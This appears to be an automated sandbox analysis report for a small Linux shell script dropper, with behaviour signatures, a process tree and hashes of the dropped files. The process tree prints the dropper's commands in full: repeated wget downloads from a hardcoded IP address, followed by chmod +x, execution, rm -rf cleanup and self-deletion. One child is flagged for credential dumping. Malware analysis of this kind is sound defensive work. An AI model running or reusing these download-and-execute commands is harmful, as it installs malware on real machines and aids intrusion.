Analysis

  • max time kernel
    144s
  • max time network
    146s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20260127-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20260127-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    12/05/2026, 15:02

General

  • Target
    WSW0.sh
  • Size 266B
  • Sample260512-seqf6sav3j
  • SHA256 a464fc665f3c380c70d724b8dd20fcfaec823a40dde38314ca845410891241c1
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 16 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 16 IoCs
  • OS Credential Dumping 1 TTPs 1 IoCs

    Adversaries may attempt to dump credentials to use it in password cracking.

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Writes file to tmp directory 18 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/WSW0.sh
    /tmp/WSW0.sh
    1⤵
    • Executes dropped EXE
    PID:1570
    • /bin/rm
      rm OOJP
      2⤵
        PID:1571
      • /usr/bin/wget
        wget http://216.107.139.197/OOJP
        2⤵
        • Writes file to tmp directory
        PID:1572
      • /bin/chmod
        chmod +x OOJP
        2⤵
        • File and Directory Permissions Modification
        PID:1578
      • /tmp/OOJP
        ./OOJP
        2⤵
          PID:1579
        • /bin/rm
          rm WAVC
          2⤵
            PID:1581
          • /usr/bin/wget
            wget http://216.107.139.197/WAVC
            2⤵
            • Writes file to tmp directory
            PID:1582
          • /bin/chmod
            chmod +x WAVC
            2⤵
            • File and Directory Permissions Modification
            PID:1583
          • /tmp/WAVC
            ./WAVC
            2⤵
              PID:1584
            • /bin/rm
              rm XDLE
              2⤵
                PID:1586
              • /usr/bin/wget
                wget http://216.107.139.197/XDLE
                2⤵
                • Writes file to tmp directory
                PID:1587
              • /bin/chmod
                chmod +x XDLE
                2⤵
                • File and Directory Permissions Modification
                PID:1588
              • /tmp/XDLE
                ./XDLE
                2⤵
                • OS Credential Dumping
                • Checks CPU configuration
                • Writes file to tmp directory
                PID:1589
                • /usr/local/sbin/uname
                  uname -a
                  3⤵
                    PID:1593
                  • /usr/local/bin/uname
                    uname -a
                    3⤵
                      PID:1593
                    • /usr/sbin/uname
                      uname -a
                      3⤵
                        PID:1593
                      • /usr/bin/uname
                        uname -a
                        3⤵
                          PID:1593
                        • /sbin/uname
                          uname -a
                          3⤵
                            PID:1593
                          • /bin/uname
                            uname -a
                            3⤵
                              PID:1593
                          • /bin/rm
                            rm VLIZ
                            2⤵
                              PID:1591
                            • /usr/bin/wget
                              wget http://216.107.139.197/VLIZ
                              2⤵
                              • Writes file to tmp directory
                              PID:1592
                            • /bin/chmod
                              chmod +x VLIZ
                              2⤵
                              • File and Directory Permissions Modification
                              PID:1594
                            • /tmp/VLIZ
                              ./VLIZ
                              2⤵
                                PID:1595
                              • /bin/rm
                                rm ZPFE
                                2⤵
                                  PID:1597
                                • /usr/bin/wget
                                  wget http://216.107.139.197/ZPFE
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:1598
                                • /bin/chmod
                                  chmod +x ZPFE
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:1599
                                • /tmp/ZPFE
                                  ./ZPFE
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:1600
                                • /bin/rm
                                  rm FKLY
                                  2⤵
                                    PID:1602
                                  • /usr/bin/wget
                                    wget http://216.107.139.197/FKLY
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:1603
                                  • /bin/chmod
                                    chmod +x FKLY
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:1604
                                  • /tmp/FKLY
                                    ./FKLY
                                    2⤵
                                      PID:1605
                                    • /bin/rm
                                      rm TWED
                                      2⤵
                                        PID:1607
                                      • /usr/bin/wget
                                        wget http://216.107.139.197/TWED
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:1608
                                      • /bin/chmod
                                        chmod +x TWED
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:1609
                                      • /tmp/TWED
                                        ./TWED
                                        2⤵
                                          PID:1610
                                        • /bin/rm
                                          rm LFKQ
                                          2⤵
                                            PID:1612
                                          • /usr/bin/wget
                                            wget http://216.107.139.197/LFKQ
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:1613
                                          • /bin/chmod
                                            chmod +x LFKQ
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:1614
                                          • /tmp/LFKQ
                                            ./LFKQ
                                            2⤵
                                              PID:1615
                                            • /bin/rm
                                              rm QSKJ
                                              2⤵
                                                PID:1617
                                              • /usr/bin/wget
                                                wget http://216.107.139.197/QSKJ
                                                2⤵
                                                • Writes file to tmp directory
                                                PID:1618
                                              • /bin/chmod
                                                chmod +x QSKJ
                                                2⤵
                                                • File and Directory Permissions Modification
                                                PID:1619
                                              • /tmp/QSKJ
                                                ./QSKJ
                                                2⤵
                                                  PID:1620
                                                • /bin/rm
                                                  rm HPST
                                                  2⤵
                                                    PID:1622
                                                  • /usr/bin/wget
                                                    wget http://216.107.139.197/HPST
                                                    2⤵
                                                    • Writes file to tmp directory
                                                    PID:1623
                                                  • /bin/chmod
                                                    chmod +x HPST
                                                    2⤵
                                                    • File and Directory Permissions Modification
                                                    PID:1624
                                                  • /tmp/HPST
                                                    ./HPST
                                                    2⤵
                                                      PID:1625
                                                    • /bin/rm
                                                      rm VDXA
                                                      2⤵
                                                        PID:1627
                                                      • /usr/bin/wget
                                                        wget http://216.107.139.197/VDXA
                                                        2⤵
                                                        • Writes file to tmp directory
                                                        PID:1628
                                                      • /bin/chmod
                                                        chmod +x VDXA
                                                        2⤵
                                                        • File and Directory Permissions Modification
                                                        PID:1629
                                                      • /tmp/VDXA
                                                        ./VDXA
                                                        2⤵
                                                          PID:1630
                                                        • /bin/rm
                                                          rm QMJL
                                                          2⤵
                                                            PID:1632
                                                          • /usr/bin/wget
                                                            wget http://216.107.139.197/QMJL
                                                            2⤵
                                                            • Writes file to tmp directory
                                                            PID:1633
                                                          • /bin/chmod
                                                            chmod +x QMJL
                                                            2⤵
                                                            • File and Directory Permissions Modification
                                                            PID:1634
                                                          • /tmp/QMJL
                                                            ./QMJL
                                                            2⤵
                                                              PID:1635
                                                            • /bin/rm
                                                              rm RWQE
                                                              2⤵
                                                                PID:1637
                                                              • /usr/bin/wget
                                                                wget http://216.107.139.197/RWQE
                                                                2⤵
                                                                • Writes file to tmp directory
                                                                PID:1638
                                                              • /bin/chmod
                                                                chmod +x RWQE
                                                                2⤵
                                                                • File and Directory Permissions Modification
                                                                PID:1639
                                                              • /tmp/RWQE
                                                                ./RWQE
                                                                2⤵
                                                                  PID:1640
                                                                • /bin/rm
                                                                  rm GQQI
                                                                  2⤵
                                                                    PID:1642
                                                                  • /usr/bin/wget
                                                                    wget http://216.107.139.197/GQQI
                                                                    2⤵
                                                                    • Writes file to tmp directory
                                                                    PID:1643
                                                                  • /bin/chmod
                                                                    chmod +x GQQI
                                                                    2⤵
                                                                    • File and Directory Permissions Modification
                                                                    PID:1644
                                                                  • /tmp/GQQI
                                                                    ./GQQI
                                                                    2⤵
                                                                      PID:1645
                                                                    • /bin/rm
                                                                      rm NZAP
                                                                      2⤵
                                                                        PID:1647
                                                                      • /usr/bin/wget
                                                                        wget http://216.107.139.197/NZAP
                                                                        2⤵
                                                                        • Writes file to tmp directory
                                                                        PID:1648
                                                                      • /bin/chmod
                                                                        chmod +x NZAP
                                                                        2⤵
                                                                        • File and Directory Permissions Modification
                                                                        PID:1649
                                                                      • /tmp/NZAP
                                                                        ./NZAP
                                                                        2⤵
                                                                          PID:1650
                                                                        • /bin/rm
                                                                          rm UZTX
                                                                          2⤵
                                                                            PID:1652
                                                                          • /usr/bin/wget
                                                                            wget http://216.107.139.197/UZTX
                                                                            2⤵
                                                                            • Writes file to tmp directory
                                                                            PID:1653
                                                                          • /bin/chmod
                                                                            chmod +x UZTX
                                                                            2⤵
                                                                            • File and Directory Permissions Modification
                                                                            PID:1654
                                                                          • /tmp/UZTX
                                                                            ./UZTX
                                                                            2⤵
                                                                              PID:1655
                                                                            • /bin/rm
                                                                              rm -rf OOJP
                                                                              2⤵
                                                                                PID:1657
                                                                              • /bin/rm
                                                                                rm -rf WAVC
                                                                                2⤵
                                                                                  PID:1658
                                                                                • /bin/rm
                                                                                  rm -rf XDLE
                                                                                  2⤵
                                                                                    PID:1659
                                                                                  • /bin/rm
                                                                                    rm -rf VLIZ
                                                                                    2⤵
                                                                                      PID:1660
                                                                                    • /bin/rm
                                                                                      rm -rf ZPFE
                                                                                      2⤵
                                                                                        PID:1661
                                                                                      • /bin/rm
                                                                                        rm -rf FKLY
                                                                                        2⤵
                                                                                          PID:1662
                                                                                        • /bin/rm
                                                                                          rm -rf TWED
                                                                                          2⤵
                                                                                            PID:1663
                                                                                          • /bin/rm
                                                                                            rm -rf LFKQ
                                                                                            2⤵
                                                                                              PID:1664
                                                                                            • /bin/rm
                                                                                              rm -rf QSKJ
                                                                                              2⤵
                                                                                                PID:1665
                                                                                              • /bin/rm
                                                                                                rm -rf HPST
                                                                                                2⤵
                                                                                                  PID:1666
                                                                                                • /bin/rm
                                                                                                  rm -rf VDXA
                                                                                                  2⤵
                                                                                                    PID:1667
                                                                                                  • /bin/rm
                                                                                                    rm -rf QMJL
                                                                                                    2⤵
                                                                                                      PID:1668
                                                                                                    • /bin/rm
                                                                                                      rm -rf RWQE
                                                                                                      2⤵
                                                                                                        PID:1669
                                                                                                      • /bin/rm
                                                                                                        rm -rf GQQI
                                                                                                        2⤵
                                                                                                          PID:1670
                                                                                                        • /bin/rm
                                                                                                          rm -rf NZAP
                                                                                                          2⤵
                                                                                                            PID:1671
                                                                                                          • /bin/rm
                                                                                                            rm -rf UZTX
                                                                                                            2⤵
                                                                                                              PID:1672
                                                                                                            • /bin/rm
                                                                                                              rm /tmp/WSW0.sh
                                                                                                              2⤵
                                                                                                                PID:1673

                                                                                                            Network

                                                                                                                  MITRE ATT&CK Enterprise v16

                                                                                                                  Replay Monitor

                                                                                                                  Loading Replay Monitor...

                                                                                                                  Downloads

                                                                                                                  .zwxGXIla

                                                                                                                  • Path /tmp/.zwxGXIla
                                                                                                                  • Size 18B
                                                                                                                  • SHA256 bf8343bc13c4e8bab5ab8ded9519a5632b8fcdaf4beea46d610e40cce4f3fef9
                                                                                                                  • MD5 SHA1 SHA512

                                                                                                                  FKLY

                                                                                                                  • Path /tmp/FKLY
                                                                                                                  • Size 105KB
                                                                                                                  • SHA256 f85ee1500347ab1ae9061973abf387be54a98ad1259f5265965d5b067c170923
                                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                  GQQI

                                                                                                                  • Path /tmp/GQQI
                                                                                                                  • Size 193KB
                                                                                                                  • SHA256 202d1e3eccffe6ac67e54882c0e070f8a4730d5e117ed52043e4ad294ec857db
                                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                  HPST

                                                                                                                  • Path /tmp/HPST
                                                                                                                  • Size 125KB
                                                                                                                  • SHA256 acbb357150d464f678cd23159fca36575c8039f82ef9f276ef298361f8415dd5
                                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                  LFKQ

                                                                                                                  • Path /tmp/LFKQ
                                                                                                                  • Size 129KB
                                                                                                                  • SHA256 5df36281969dcd0fefdc2f7bda8af95577826634311f5a82544002e7e7d4c0fd
                                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                  NZAP

                                                                                                                  • Path /tmp/NZAP
                                                                                                                  • Size 125KB
                                                                                                                  • SHA256 7524f7123eb049207efa4dac91e7d0a4726016d1a992a53468c54a4829658dbb
                                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                  OOJP

                                                                                                                  • Path /tmp/OOJP
                                                                                                                  • Size 125KB
                                                                                                                  • SHA256 6a9a2fd72c6dd58658f09a6743885605c77be428948c72d6a4539e3982e67418
                                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                  QMJL

                                                                                                                  • Path /tmp/QMJL
                                                                                                                  • Size 121KB
                                                                                                                  • SHA256 8de4542b0cfef62851ecb166feac5ff4b0f58951e83f0e914ffe7dae90e6fed5
                                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                  QSKJ

                                                                                                                  • Path /tmp/QSKJ
                                                                                                                  • Size 86KB
                                                                                                                  • SHA256 25756bd4d6028d9402d02e00f7ac00bf2b23c64e420efa4be01cd965c0594b9b
                                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                  RWQE

                                                                                                                  • Path /tmp/RWQE
                                                                                                                  • Size 167KB
                                                                                                                  • SHA256 60769cc0da4aadd603ade2a30ce4791595a43f9727e248a232ee7b6a1ae3fc44
                                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                  TWED

                                                                                                                  • Path /tmp/TWED
                                                                                                                  • Size 154KB
                                                                                                                  • SHA256 3dd83802e4a3c71b8a7a03cd7b065fbd7b9eec3ebae5e0c29d4fc09573409ed2
                                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                  UZTX

                                                                                                                  • Path /tmp/UZTX
                                                                                                                  • Size 126KB
                                                                                                                  • SHA256 b89e0bddab26ae722e8af161ab726eb7f25232f00b3cbdc0e6cad665513047df
                                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                  VDXA

                                                                                                                  • Path /tmp/VDXA
                                                                                                                  • Size 193KB
                                                                                                                  • SHA256 f89836639ef62ae6f317f834fab00e166ef668772b021e5e468969bd66aa4ef1
                                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                  VLIZ

                                                                                                                  • Path /tmp/VLIZ
                                                                                                                  • Size 129KB
                                                                                                                  • SHA256 1bea422550db39a211f644ad63eeb34bce2ae9a70b39d6c38d1b423203f619d4
                                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                  WAVC

                                                                                                                  • Path /tmp/WAVC
                                                                                                                  • Size 200KB
                                                                                                                  • SHA256 cd6ab1ae78b810d0840c64270a6506a753befecad64eace6c1101e2a2713574f
                                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                  XDLE

                                                                                                                  • Path /tmp/XDLE
                                                                                                                  • Size 109KB
                                                                                                                  • SHA256 fc43bc3a09d3d47a1fa0ed5559d8d98468c07e768daf9bf1f806984b342e4aa0
                                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                  ZPFE

                                                                                                                  • Path /tmp/ZPFE
                                                                                                                  • Size 105KB
                                                                                                                  • SHA256 d328a8df797e9a5c3c2f282b014f7cf538e141143a3054cdb542ca360d43b624
                                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH